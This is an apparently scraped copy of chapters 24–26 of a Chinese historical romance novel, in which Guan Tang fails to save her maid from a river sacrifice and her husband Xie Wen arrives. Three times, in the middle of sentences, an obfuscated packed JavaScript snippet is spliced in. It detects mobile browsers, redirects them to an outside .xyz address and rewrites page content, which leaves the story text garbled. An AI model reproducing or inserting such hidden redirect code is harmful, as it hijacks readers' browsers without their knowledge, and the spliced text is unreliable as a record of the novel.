此间没有窗户，栾慧伸手去推那木门，原以为上锁了，不料轻轻一推便打开。原来这里是城墙马面的一处拐角暗房，平常不会有人靠近，且近日衙城严令百姓肆意在城墙下走动，违令者轻则鞭笞，重则处死，此处好似禁地叫人避之不及。 “城墙下应当有巡防的士兵。”赵令羽说：“将此门半掩，我看一下。” 栾慧依言照做，不料等了近一炷香的时间，仍旧一个人也不见，反而听见罗城方向愈发喧闹了起来。 观棠道：“我们出去看看。” 他们几人身上满是泥泞，幸好有雨水作掩护，不会一眼瞧出不对劲。衙城路上并无什么行人，观棠心中正盘算着，州衙一般都在衙城的城中，若继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204892|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续往北走，他们这一行八个人，还是需分散些才不引人注意。 这时，突然有几个人急匆匆往外跑，赵令羽见状一把拦住。 “你去作甚？”他问。 那人见他身后站着几个壮汉，还当他是兵鲁子，几乎就要下跪，嘴中嚷着：“军爷，镇南门开了，我想出去看看我家里人。” “镇南门开了？”栾慧大惊道：“什么时候？” “大约……半个时辰前。” 栾慧与观棠交换了一眼神色，这时机实在是过于凑巧，正是他们在水道里的时候。 这时，观棠突然一个激灵，抓住那人道：“是有官兵离开衙城了？” “是，说是什么厄母娘娘现身，大祭司要送厄母娘娘渡船……” 观棠听了这话一愣，厄母娘娘？渡船？难道这几日徐继昌四处散播谣言，为的就是将她像那神话里的厄母娘娘一样送入水中？ “不是送厄母娘娘渡船。”与他同行的一个人说：“是黎夏族的大祭司说今日又下了雨，除非厄母娘娘显灵，否则梧州将有大祸，所以才派出官兵去郁江行祭祀礼。” “这话是什么意思？”赵令羽的声音自胸腔出，十分浑厚有力，震慑人心。 “军爷，小的也……也不知……” 观棠心头怦怦直跳，一时思绪纷飞。徐继昌设了好大一个局，想让自己以厄母娘娘之名“死得其所”，偏偏他不知自己此刻已经到了衙城，正好躲了他的局。想到这里，观棠问：“徐知州可在城内？” 被问话的两人纷纷摇头表示不知。 观棠使了个眼色，赵令羽放开了两人，众人继续往北走，却见路上往那城外去的人渐多，赵令羽寻机又拦了个黎夏族着装之人问：“小兄弟，可是去城外看厄母娘娘？” 那人摆摆手表示听不懂赵令羽所说，幸好赵令羽带了一个会说苍梧话的，二人沟通了一会儿，兵卒解释道：“他说没有什么厄母娘娘。” 观棠听了这话，顿觉奇怪，上前一步道：“不是这几日都说那经略使夫人是厄母娘娘吗？” 那人听了兵卒的转述，嗤笑一声飞速说了几句，随后兵卒道：“头儿，我不太懂，他说是什么假的厄母娘娘，否则就不会叫自己的丫鬟替自己去死了。” 此时正巧远天一道闪电穿透了厚重的天幕，随后便是几声惊雷，观棠被这响动吓得身子晃了晃，一只手拽着栾慧的衣袖才堪堪站稳。她在愈发瓢泼的雨中冲栾慧喊道：“栾慧，他说的是什么意思？我怎么听不懂？” 栾慧也摇头，但他嘴巴一张一合，竟一个字都没有落入观棠耳中，她的耳畔只有雷声和雨声，好像重重鼓乐，不断地敲击在她身上。 另一边，赵令羽终于厘清了此人的意思，回身对观棠道：“夫人，他说是厄母娘娘和大祭司要祭水神，献出了自己的丫鬟，半个时辰前他们便出城了。” 观棠听了这话，只感觉自己上牙碰着下牙，咔哒咔哒直响，最后连嘴唇都在颤抖，她哆嗦着说：“你叫他说清楚，是谁要去祭水神？” 赵令羽转述完，那兵卒问完了回道：“他说，是经略使夫人的丫鬟。” * * * 郁江畔，得观棠等人在罗城内数日疏水，原是罗城近江码头的地处已经能踏马而行。 雨水好似箭雨激打在水面上，紧随其后的是数十匹高头大马。马蹄踏浪，掀起阵阵波澜，卷席向了最后两匹马身上系着的一只木筏。 那木筏上覆着一个木笼，好似关押犯人的囚车一般，从天而降的雨滴落入空落落的笼子里，打在了青红的身上。 24.第 24 章 此时，罗城东面的山坳间出现了一列疾行的队伍，个个身披竹笠，雨水落在其上仿佛叩击铜鼓，铮然作响，随后很快飞溅四散开来，霎时间，大队人马尽笼于氤氲雨雾里。 这是静江府知府刘弢暗中调用来梧州的厢军，岑禄、德庆以及观棠原先的一位家丁也在其中，加起来有二十来人。 他们自静江府一路南下，昼夜赶路，万幸这一路没有遇到山崩侵路，众人算是安然无恙到达了梧州。 到了城外，岑禄远远看见郁江边的堤岸上站了一排又一排人，幢幢黑影森然肃立，便转头对这支队伍的统领马勰道：“马都头，我怎么感觉前方不太对劲？” 马勰也觉奇怪，点了个两人前去探查，过了半个时辰，那两人回来道：“都头，好像是当地土司和大祭司在江上行什么祭祀礼。” 德庆有些惊诧，望了一眼岑禄低声道：“祭祀？此地竟还有这样的风俗？” 岑禄道：“德庆小弟，这你就不懂了，广右域内汉夷混居，百族风习殊异，往后你随大人去的地方多了，慢慢就能体悟到了。” “那咱们就在此地干等着？”德庆看了看周遭，此处空旷，也没有地方避雨。 岑禄看向马勰，后者正勒着缰绳道：“岑先生，我看还是先进城吧，此地不宜驻军，更何况这雨还不知道要下多久。” 岑禄也正有此意，于是一行人朝着那罗城的广渠门而去，此门便是当初观棠险些溺水的地方，得益于这几日的疏浚，瓮城内的积水已褪去大半，虽仍淹没至马肚，但尚能通行。 入了城，德庆原先担心梧州锁城导致城内动乱，夫人的境况难以预测，却见罗城内倒并没有他想象中糟糕，只是各处房屋倾颓，一路上连尸首都未曾见到，心下稍松口气。 此时雨势愈狂，好似千粒万粒豆子倾泻，隔着竹笠砸在人身上生疼，也叫他们这些连日赶路的人生出倦意，想要快些寻个地方歇脚。 他们大队人马进城，但衣着没有明显的标识，很快便引起才从衙城入罗城的兵马营的注意。伍潼派了几个人驻守在离广渠门不远的地方，听手下来报说那几十个人是静江军，面上难掩惊惧之色。 徐继昌不是说静江府不会派人吗，这又是怎么个事？ 来不及细思，伍潼命那传递消息的兵卒迅速去衙城通报徐知州，他现下尚无心顾及旁的，迎向那黎夏族的大祭司投来的充满疑虑的目光，又望了一眼木筏上的女子，伍潼深吸一气道：“大祭司，仪式可以开始了。” 与此同时，观棠等人正在雨中拔足狂奔，他们沿着城墙一路跑到镇南门前，果见城门大开。 “这样跑是跑不赢的，我去找马！”赵令羽在雨中喊道。 观棠慌乱摇头道：“来不及，来不及……” 栾慧知道她此刻心神大乱，伸手扶住她的臂膀道：“夫人，咱们先往江边走，叫赵队将派人去寻马，如何？” 赵令羽见状，吩咐四个部将去找马，然后和观棠等人继续往江边的方向奔去。 马勰所携的静江军此刻正歇在一处被洪水带走的屋宅空地，马勰道：“岑先生，我看这梧州城并不像您先前所说那般境地。”言辞之间倒有些埋怨之味。 岑禄回身看了眼这一路跟着他们的观家家丁，此人正十分焦急地四处张望着，擒起一抹若有似乎的笑，对马勰道：“马都头，兴许是这几日梧州知州治理有方，控制了水患呢。” 马勰知道这人是经略使身边的谋士，即便身无半职，一言一行也会影响到谢闻，便撇了撇嘴不再说什么。 “这么大个梧州城，该从何找起？”德庆忧道，“万一夫人见水势减缓，带人出城了呢？” “咱们这一路南行，走的都是官道，并未撞见夫人的车马。”岑禄说罢，心中隐隐涌上了一股厌烦感。这观氏女还未到静江府，便搅得众人都要为她奔波，他们连日蹉跎，到了梧州却见城内一派安稳，指不定那贵女现下在哪个屋子里舒舒坦坦地等着他们去“接驾”呢。 他心下正烦闷着，见面前好些人都在往江边赶去，面上竟多是瞧热闹的神色。 “莫非是赶着去江边看祭祀？”德庆道，随后低声询问马勰：“马都头，此地祭祀难道是生人祭？” 马勰听他所说，吓了一跳道：“这不应当吧，大兆律法早就不许这些部族明着采牲祭祀了，况且就算还有部族保留这习俗，也不可能发生在梧州这种汉官管治的地方。” 岑禄听他所言，仍做主拦了几个过路人问话，得知是传说中的厄母娘娘现身，要行祭祀水神之礼。 “果真是生人祭？”马勰听了一个头两个大：“这下真不好办了。岑先生，你说咱们要不要去拦一下？” 岑禄思忖片刻，道：“咱们初来此地，还是不要惹是非了。”说罢四处望了望，见往那江边汇聚的人愈发多了，岑禄暗觉不妙，说：“马都头，罗城地势低，不宜久留，咱们先往衙城去吧，我想夫人定是宿在衙城官驿里。” 众人便又翻身上马，往衙城而去。 岑禄和马勰当先，迎面便见四个从疾驰而来的身影，那几人身量不一，见到他们这支队伍，猝然停下了脚步，此举立刻引得马勰警觉得勒马，岑禄动作不及他快，勒马向前走了几步才停下。 四人中有一个疤面男子，生得人高马大，虎视眈眈地看着岑禄，使得后者握紧了手中缰绳。这时，他身后倏然窜出来一个矮个子男子，似想上前拦马，岑禄正躁着，抬鞭便挥了过去，骂道：“不长眼的家伙，敢拦爷的马？” 他这一鞭挥过去，不知自己有没有打到人，因见那疤面男子迅速将矮个子男子扑倒躲去了，心中更添烦躁，大声喝道：“再上前便不是鞭子，而是刀剑了！” 见扑在地上的二人不再动弹，马勰上前道：“岑先生，你没事吧？” “这些刁民！”岑禄恨恨打马而去，马勰挥了挥手，令队伍速速跟上。 二十余骑踏过地面，恍若地龙翻覆，使得趴在地上的观棠五脏六腑皆在震动。 “夫人！赵队将！” 栾慧边喊着边手忙脚乱将他二人扶起，赵令羽本就有伤，方才那一下牵扯到了腰间伤口，忍着剧痛从地上爬起，观棠后他一步被扶起，她抬起头的瞬间，一道马鞭抽出的血痕自颈间蜿蜒而下。 冷雨打在女子身上，与那抹血色交汇融合，衣衫顿时洇开一片凄艳的红。 栾慧咬牙道：“这样不行，夫人，我们回药铺吧。” 观棠置若未闻，只是往前迈着步子，他们不知该阻她还是该拦她，正踌躇时，突然听见身后传来马蹄声，赵令羽下意识将几人护在身后，转过身却见是他的两个部将。 “头儿！”两人大喊一声翻身下马。 赵令羽还未回过神，便觉一道纤影扑到马旁，定睛一看，观棠已经拽着缰绳上了马，随后立刻拍马而去。 她心中焦灼万分，根本不及择路，也不知道自己身后有没有人，她脑海中只有一个念头，救人，不管那人是青红还是旁的人，她一定要救下。 一路疾驰到了江边，唯见滩头坪地皆被乌泱泱的人群围了个严实，江面上似燃着什么东西，一团红艳艳的光穿透了雨幕。 观棠只感觉那雨中的大火似也在烤着自己的五脏六腑，声嘶力竭地朝人群喊：“让一让！让一让！给我让开！” 她的声音甫一出便被周遭雨声淹没，身下的高马在人群里更是寸步难行。 若她就这样扬鞭踏过去，是不是就能及时赶到那火光之处？她想到这里，几乎真的要举起马鞭了，可是手才举到半空中，又僵住了。 这些人，他们的眼中竟交织着无知的茫然与愚昧的灼热，更有一种看客般蠢动的兴奋。 他们的神色甚至让观棠感到一丝恐惧，仿佛此刻伫立在岸边的这些人都只是行尸走肉。这几日在罗城里，无论是在粥棚前，还是疏水时，观棠只觉他们是无比良善之人，就连那个一心救子的黎夏女子，观棠到现在都还在为她痛心。 怎么会这样？ 为何会这样？ 这些百姓在岸边，难道都是为了目睹那样残忍的祭祀？ 他们的目光如同江上的雾霭，无比空洞，其间却又闪烁着好奇的幽光，这些光好似无数枚利刃刺向了观棠。 转瞬间，无论是她暴露在雨中的皮肤，还是攥着马鞭的掌心，都传来了令观棠难以忍受的痛楚，使得她要费好大的力气才能压下心头的哀嚎。 这时，最靠近江边的人群里突然传出一声惊呼，随后便如一浪又一浪，人声愈发沸腾了起来。 观棠依稀听见马下的人道：“仪式开始了！” “那女的要入江了！” 她听见这话，再顾不得其他，翻身下了马，尝试穿过人群往里走。她不知道自己推开了多少人，又有多少人踏在她的脚上、腿上，脚下是泥潭，她上方的天空也越来越昏暗……突然间，观棠一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211182|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趔趄，竟从人群里被推了出去。 她回头一看，发觉自己竟不知不觉已经走到了最靠近江边的地方，不远处便是她先前看到的那团火光，原来是仪式堆砌起来的篝火燔燎。 几个巫祝正执戈扬盾，跳跃呼号，火光照映着他们狰狞的傩面，景象诡谲，使得方才还喧嚣极了的人群一片肃穆。 观棠知道自己当下一片狼藉，足下无鞋，头上无钗，恐怕脖子上的伤口也很是可怖，可她还并不在意，疾趋到了燔燎旁。 几个官兵见她这般模样出现，立刻举刀喝止，但他们面前的女子竟丝毫不惧那些刀剑，竟不要命似的一股脑儿地想要往里冲。 他们只顾拦着观棠，不知观棠目光紧锁着的江面之上，那载着女子的木筏正往江心飘去。 江水湍急，木筏随时会倾覆，而那女子困于牢笼，转眼便会瘐死水中。 这就是最恶毒的生人祭！ 观棠迎着刀剑，朝周围人吼道：“我是广南西路经略安抚使夫人观棠！大兆有律，杀人祭鬼者，以故杀人论！尔等无识！黩神右鬼妖巫凭之！还不速速停下！” 听见她的声音，伍潼不可置信地转过头，见面前浑身泥泞、头发缭乱的女子正费力想要冲过那些兵卒的阻拦，大步上前道：“何人在此造次！”他话音才落，便觉江边的人潮里发出阵阵惊呼。 顺着众人的目光，伍潼回过头，见那江上小筏正打着旋，似逐渐被什么吞没，而在其中的女子被吓得发出阵阵尖叫声。 她的声音传入观棠耳中，使得她如遭雷击。 是青红！ 是她的青红没有错！ 见自己面前的兵卒们也被那江中祭祀景象所吸引，观棠一把推开拦着她的士兵，拔足奔到了江边，随后纵身一跳。 好似一枚雨滴落入水中，转瞬了无踪迹。 远处的人群并不知道发生了什么，只看到有一个人似不要命地跃入江水，正议论着，迟她一步赶到的栾慧看到此情此景，在雨中怒吼道：“你们疯了吗！睁大你们的眼睛看看，那是经略使夫人！那是你们口中的厄母娘娘！” 伍潼听他所说，心道不好，恐怕方才那女子真的是观氏女，令左右士兵一拥而上制住了栾慧，后者立时目眦欲裂破口大骂，却听远处传来蹄铁铮铮声，惊破了旷野。 紧接着，众人的视野里出现了一群如龙蜿蜒的虎贲骑军，其势如剑出鞘，带来的肃杀之气与江滩上方才发生的生人祭相碰，好似天兵天降。此情此景，就连方才那跳着舞吟诵着什么的巫觋不由地都停下了步足，却见铁骑为首之人身上披着一件墨色的桐油披风，仿若旌旗在风雨里翻飞，气势迫人。 江边的百姓们不由自主地让开了一条供两马并行的宽阔道路，为首之人一路疾行到了江畔，直到那围着燔燎的平地才勒马止步。 “你……你是何人？”伍潼方才未阻观棠跳江，正心绪不宁，见这打马而来的男子一身凛然煞气，眉峰如刃，眼中倒映着燔燎的眸光似炬，好似从那燃着烈焰的地府来向他索命的，说话不由地哆嗦了起来。 “我乃广南西路经略安抚使，谢闻。” 谢闻话音才落，身后的人群骤然爆发出惊呼，然而那惊涛骇浪般的声音，却无一因他而起，因为谢闻面前的江岸边，突然出现了一个人影。 从身量来看，此人应当是一个女子，她不知道哪里来的力气，竟能在如此湍急的江水中托举着另一个人回到岸边。 待到近前，众人更忍不住惊叫了起来。 面前的女子头发披散，肤色骇人得苍白，偏偏胸前的衣襟浸满了血色，而她正拼尽全力拥着上岸的人，肢体绵软，显然已经失去了生息。 恰在此时，观棠脖颈伤口处的血滴在怀中之人的面上，仿佛为她画上了朵朵红莲。 这是一种撼天动地的景象，那缄默的死者被赋予了炽烈的红，而那一步一步走回众人面前的生者，却呈现出一种叫人绝望的白。 被兵卒们压迫在地的栾慧看到此情此景，忍不住哭嚎道：“夫人！青红！” 他这一声引得周围人竟也竞相哭嚎了起来，更有甚者匍匐在地喊道：“厄母娘娘现身！厄母娘娘恕罪！” 在这一声接一声如山呼海啸般的“厄母娘娘”中，观棠像是将初生的婴孩放回温床般，把青红慢慢放到了地上。 随后她抬起头，在混沌的雨水中，看向高马之上的人。 她的夫君，谢闻。 25.第 25 章 其实观棠并没有意识到来人是谁，她只是想找个人帮她救救青红。 谢闻从马上翻身而下，大步走到了她的面前。他的脚步很快，乌皮官靴带起泥点飞溅，如墨滴洒在她擦白的面上。 谢闻低下头，以一种俯视的姿态看向半跪在雨中的女子，眉头微微蹙起。 竟真的是她。 无论是在扬州学府的门前，还是在陈府湖畔的水榭，亦或是大婚那两日，她都是容止有度的汴京贵女，何曾像此刻这般，浑身泥泞，狼狈如斯。 这时，观棠突然猛地拽住了谢闻的衣袍，迎着大雨抬起头看向男子，口中喃喃道：“救救她，求求你……” 已近心神崩溃的边缘。 谢闻边想着，边蹲下身，去摸那躺在地上的青色衣服女孩的脉搏。待他收回手后，缓缓朝观棠摇了摇头。 雨水已将面前之人脸上的污浊涤尽，此刻的她苍白剔透，仿佛一尊华美但易碎的薄胎瓷偶。当谢闻向她示意地上的女孩已经药石罔效时，他以为女子会即刻崩溃，发出撕心裂肺的哭嚎，不料她竟一言不发，只怔凝着地上的人。 过了不知道多久，女子再次抬头看向他时，谢闻十分惊诧，因为面前之人眼底竟一片平静。 这种平静使得他感觉自己像是在窥探一座幽邃的无波古井，而他的周遭正大雨滂沱，女子沉静如死水的目光仿佛将他的魂魄也一同凝固了。 更令谢闻没想到的是，女子眼底涌现了一抹失望，她的神色好似一条湿滑黏腻的毒蛇，缓缓攀上了他的脖颈。 勉强抵住喉间的压迫感，谢闻开口道：“我会让人替她敛尸，你……” 他说到这里，舌头突然僵住了。 因为眼前的女子似乎并没有理解他在说什么。 观棠此刻的模样恍若稚子，带着一丝疑惑和费解，她抬头看了一眼天空。 雨水拍打在面上，使得她几乎睁不开眼。 这雨……怎么还在下？是不是要淹掉整个人世间？ 也好。也好。 她边想着边低下头，想再看一眼青红，目光却扫过那些聚集在江边的百姓和兵士，以及身穿法衣面带可怖面具的巫觋。 此刻的她有些分不清自己眼前的人是真实存在的，还是她脑海中的，她感觉自己眼前的每一个人都像元宵灯会上的走马灯一样旋转着，每一张面孔又像灯烛上逐渐融化的蜡一般，意识也开始不受控地从她的下颌、肩头，她的指尖，通通顺着雨水流向了她身后的郁江。 眼前的男子似觉察到了什么，上前一步更大地阻了她的视线，同时，他的嘴巴一张一合，不断地在说着什么。 像水塘里的蟾蜍。 想到这里，观棠突然噗嗤一笑，随后便感觉耳畔似有什么东西发出崩裂的声响，她眼前的一切开始倾倒。 谢闻仓忙伸手接住那后仰着昏过去的女子。 拨开黏在她脸上的乱发，谢闻只觉她的脸在他的掌下不盈一握，指尖所触一片冰凉。 掌中肌，玉中骨。 她仰面朝着天空，脖颈柔软得好像被风吹弯的柳枝，一抹红痕又像雪中落梅，十分刺目。 谢闻目光兜转，最终移向了身后那被刀剑相迫，趴在地上不断怒吼的人。即便只匆匆瞥见过两眼，他仍认出他是观闳派去她身边的人之一，只不过他叫不出此人姓名。 一人死，一人被胁。 还有怀中的女子，满身伤痕。 这一路来，他想过千种万种梧州的境况，想过自己贸然调兵的下场，想过之后为了平息此事要往京中递多少折子，却没想过他的新婚妻子会出现在这里，以这样……近乎惨烈的模样。 感觉到女子的温度在手掌心流失得愈发快，谢闻脱下身上的箬笠兜住怀中人，打横将她抱起。 她的重量并非无法承担，但当他真正将她抱在怀中的那一刻，谢闻突然感觉沉甸甸得，恍若一块巨石猛然砸向心头，以至于他迈出的第一步脚步凝滞，仿佛坠有千钧，无比艰涩。 伍潼见状，一把抢过身后为他撑伞之人手中的伞，走上前道：“经略使……这……” 将观棠往怀中揽了揽，谢闻道：“敛尸，放人，驱离百姓。” 语气森冷而克制，字字都似压在绷到极致的弓弦之上，仿佛再多一言，便会弓裂弦断，局面再难挽回。 伍潼不敢置喙，目光看向男子怀中的女子。 这样一个纤细柔弱的人竟在那样湍急的江水中活下来了，但似乎也已去掉了半条命。 他心中稍定，转身令手下放开栾慧。 * * * 观家二房久在京中，处境却始终扞格不入。 时重文抑武之风在大兆盛行，若如观家大房，手握重兵，居于延州，自然能过得恣意一些。 王氏自幼便对观棠要求得比世家闺秀还要严苛，仕途无望的父亲，再加上只能靠恩荫跻身官场的哥哥，母亲于家族门楣之光的所有寄望，竟悉数落在她的肩头。 “若能将你嫁入一个清流世家，于我、于你父亲，才算是大有益处。”在被武定侯府回绝了她与魏旭的亲事后，王氏在她面前毫不掩饰鄙夷道：“武定侯府那般门第，与你伯父家又何尝不是一般无二？说到底，终究是武门出身，脱不去那行伍间的粗豪之气。” 若为人女者皆如观棠这般，承载着父母重振门庭的厚望，恐怕也会像她一样，早早便将世事人情看破，心如明镜一些。 世家婚姻的筹谋和算计，宛若汴京城的繁华表象，再盛的荣光也难掩其中的荒芜和无趣。魏旭即便是不承袭爵位，到底是侯府嫡次子，无论是求娶光禄大夫家那尚未出阁的小女，还是兵部侍郎的孙女，都比娶她要好。 于是，往日母亲有多盼着她嫁给魏旭，现下便有多痛恨这些勋爵世家。 观棠倒不意外，在大兆如此整肃军风的重压之下，这些世家自然也要为家族前程计，择文臣为姻亲，就像魏旭的姐姐，她的闺中密友魏幼茵便嫁给了吏部尚书之子。 只不过，魏幼茵有一个武定侯府在其后，而以观棠父亲的那一官半职，想要与京中那些累世清流的书香门第攀亲，恐怕难以企及。 观棠想，若能累大伯母在延州替她寻一门亲事，叫她逃离汴京城和母亲，恐怕才是上上策，只不过这心思肯定不能叫王氏知晓，眼波流转，她开口道：“母亲千万莫要叫哥哥知晓此事，他与魏五郎乃金兰之交，他二人这几日还要聚上一聚，为哥哥离京庆贺呢。” 靠着观闳的周旋，观晏即将出任河东路巡检使，二房添了喜事，王氏这才动了心思，私下里递了结亲的意图给武定侯府。 其实……不能嫁给魏旭也没什么不好。 观棠想。 且不说两人自幼一块儿长大，实在是过于熟悉，这魏家五郎与观家二郎玩得好，自然是因为他二人性子相仿，所处的境遇也相仿：没有承袭祖业的压力，又可恩荫入仕，安富尊荣。若非还有着武将世家的那一份矜傲，她哥哥和他恐怕早就成了闻名汴京的纨绔。 只可惜要叫幼茵姐失望，她做不成她的弟媳了。 这桩隐秘的提亲很快被观棠抛之脑后，母亲忙着给哥哥整备离京的物件，观棠得了清闲，能够在屋子里练练字看看书，几日后，正巧是刘家小儿的百日宴，魏幼茵出月子，观棠自然是要出席。 在席间，她到底留了个心眼，与谏议大夫之女陈姌攀上了话。 陈姌的哥哥虽已成家数载，但她明年尚才及笄。典礼之上，必有许多清流文臣的夫人参与，若她能在那时博得几分青眼，或许日后也能择一桩让母亲满意的婚事。 更让她意外的是，陈姌与她性情相契，意趣相投。 见她二人言谈笑语间甚是融洽，魏幼茵吃味道：“三娘，恐怕再过一两年，你就要把我这个姐妹抛之脑后了。” “我哪里敢。”观棠笑道。 几人又说了一会儿话，魏幼茵抱来儿子与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241723|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人相看，正是满堂喝彩的时候，小家伙突然一阵啼哭，随后只听哇哇两声，呕了一地奶水。观棠就站在魏幼茵身旁，顿时衣袖半湿。 “来人，快带三娘去换一件衣服。”魏幼茵赶忙唤人。 此处不是她所熟悉的魏府，亦步亦趋地跟着仆人，直到进了屋子，看见负手立在窗畔的魏旭，观棠这才意识到她着了魏幼茵姐弟的道。 “五哥在此，我不便打扰……”她一边行礼一边想要退出去，不料魏旭轻咳了两声，房门竟在身后“啪”一声关上了。 “三娘，我先前不知你母亲有意撮合我俩，”魏旭开门见山道：“若我知道，绝不会叫母亲回绝你我亲事。” 观棠一时如鲠在喉，不知说什么是好。 不愧是自幼相识，魏旭见她面色如此，怔愣片刻便很快道：“你不愿嫁我？” 观棠斟酌道：“此事……母亲当初并未知会我。” “若你知道，便会阻拦你母亲？”再开口，魏旭语气中难言苦涩。 观棠迟疑了一瞬，终究还是点了点头。 魏旭转过身，倒了一杯凉茶一饮而尽，随后道：“你为何不愿嫁我？” 看着男子的背影，观棠借用王氏之言含糊道：“以魏五哥你的家世，娶一个清流世家女子更好。” 茶盏被重重搁置于案上，魏旭转过身，大步流星走到她的面前。他的个子比观晏还要高几分，男子身上的沉水香萦绕于鼻间，带给她一种无形的压迫感。 男子深吸了一气，突然放缓了声音道：“你可有心仪之人？” 观棠立时摇头。 看出她并未隐瞒，魏旭突然扬唇一笑道：“那好。” 观棠一头雾水，抬头看向魏旭，只见剑眉星目的男子眸光闪烁道：“我这就去求父亲送我去信安军历练两年。待我回来，若你还未有心上人，便嫁给我，可好？” 两年？两年后她年已十六，若到那时还未嫁人离家，恐怕母亲便要日日吃不下饭夜夜睡不着觉了。 将心中所想咽了下去，观棠摇了摇头道：“我不会向你许下这样的诺言。父母之命，媒妁之言，若我母亲有意将我许配人家，我无法左右她……” “我了解你的性子，只要你愿意，即便是你母亲也拿你没辙！”魏旭打断她的话，在屋子里踱步道：“我回家便与父亲相谈此事，他老人家一直想将我送入军营，若他知晓，定然会很高兴。或者……或者我让我母亲这几日就去提亲！” “魏五哥！”观棠忍不住喊了一声，“你冷静一些。这是婚姻大事，并非儿女戏言。况且，是否入信安军乃你自身考量，与我又有何干？”经过他二人这番对话，不知怎的，观棠竟有些打定了主意，自己不会嫁给魏旭。 魏旭的脚步停住了，他转头定定地看向观棠，随后道：“三娘，你当真不愿嫁我？” 她仍旧站在屋子最靠近门的地方，一身云水碧色罗裙，外罩葱白色的直领对襟，仿佛一朵亭亭而立的水仙，幽香清冷，招人断魂。 “三娘，你莫要后悔。”男子的语气又似赌气，又似赌咒。 后悔？ 只是拒绝了一桩并不适合她的婚事，观棠并不认为自己会后悔。这十四年来，她只有一桩后悔事，只不过那件事实在无法为常人所道，最终化为一枚苦果，叫她一人吞食。 总之，那是魏旭最后对她说的一番话。没想到那次见面后，他竟先观晏一步离京，投身到了信安军水军营里，此后两年都未返回京城。 好似再次沉入那湍急的江水中，双脚临空无处着落，身畔是匆匆掠过的往昔，观棠勉力捕捉到飘散其间的一道思绪。 “三娘，你莫要后悔……”男子的声音萦绕耳畔。 是的，她又一次后悔了。 若她知道此行会失去青红，她绝不会带她南下。 看着病榻上的女子眉心越团越紧，似是被噩梦缠绕，谢闻凝视片刻，终究忍不住伸手抚过她的眉间。 26.第 26 章 “郎君，”屋外突然传来德庆的声音：“栾慧求见。” 谢闻听见，并没有第一时间从观棠的卧榻旁站起身。 他用了半日时间才将徐继昌制住，但此人垂死挣扎，将祭水一事通通归咎于黎夏族祭司和兵马营都监伍潼，谈及闭城数日时，便用舍小为大作说辞。 日色西沉后，谢闻知道徐继昌的竹篓里再抖落不出什么东西，准备起身离开关押他的幽室。这时，不知是知道自己死期将至，还是笃信谢闻手中没能拿捏他的罪证，徐继昌半笑半慑道：“大人，经略使夫人乃厄母娘娘，由她的丫鬟替她祭水岂不是再合适不过？” 原先冷静自持的男子在听到此言后，面色骤变，但他不愿与徐继昌继续费口舌，最终抬脚离开了幽室。 谢闻离开以后，徐继昌打量起四壁，此处是他与李诚昭最后相见之地，想到此人临死之前说日后要将他一并带走，徐继昌突然打了个寒战。 官廨幽室外，一直候在院子里的岑禄见谢闻出来了，迎上前道：“大人，司理参军交代了，李诚昭确实是被他们谋害的。这李诚昭是因在鄂州治河有功才调任梧州的，三年期满或可再升知州，没想到最终结果竟是这般……” 他们控制州衙的时候便寻不到通判，却很快找出他的尸身验状，谢闻当时扫了一眼验状便说这验状是虚作的，命人即刻将司理参军、推吏等人分屋收押。 尽管心里已经有预设，但当李诚昭被害死的真相摆在眼前时，谢闻怒火中烧，甚至想立刻命人将徐继昌拖出去在镇南门下斩了，突然，想起方才徐继昌说的关于观棠的那番话，谢闻转身问：“有观氏那边的消息吗？” 州衙被封，诸官吏也都被暂囚于此，谢闻将观棠等人安置在了数日前她们本就该下榻的官驿内。此处离州衙极近，若有什么变动，抬脚的功夫便能赶到。 他叮嘱了观棠的随从栾慧，若她醒来，第一时间来报信。 见岑禄摇头，谢闻心中愈发沉闷，岑禄见状道：“大人，伍潼该如何处置？” 谢闻听出他话里有话，皱眉道：“你有何想法？” 岑禄微微躬了躬身，道：“虽说他做下不少伤天害理之事，但都是受那徐继昌指使。咱们来以后，伍潼助咱们稳定衙城局势，更何况徐继昌连通判都敢谋害……” “不必说了，”谢闻听出他的意思，打断道：“此人带兵封闭镇南门，害死成百上千人，又助那巫觋行生人祭之事，他的案子我自会报呈枢密院。” 历来只有军官的死刑案件才需要报呈枢密院，岑禄知道，这意味着谢闻动杀心了。若要处置徐继昌这样的文官，谢闻还需与静江府知府刘弢等人斡旋才能最终裁决，但像伍潼这样的武官，以他经略安抚使的身份去检法议刑，实在是太过容易。 见他心意已决，岑禄不再相劝。 到了戌时，谢闻才回到官驿。 单看此地修葺的官驿便知梧州官府财库充沛，一个州府官驿，竟由二十余间屋子并大大小小七八个院落，厅堂、居室无一不全，好似富人家宅。 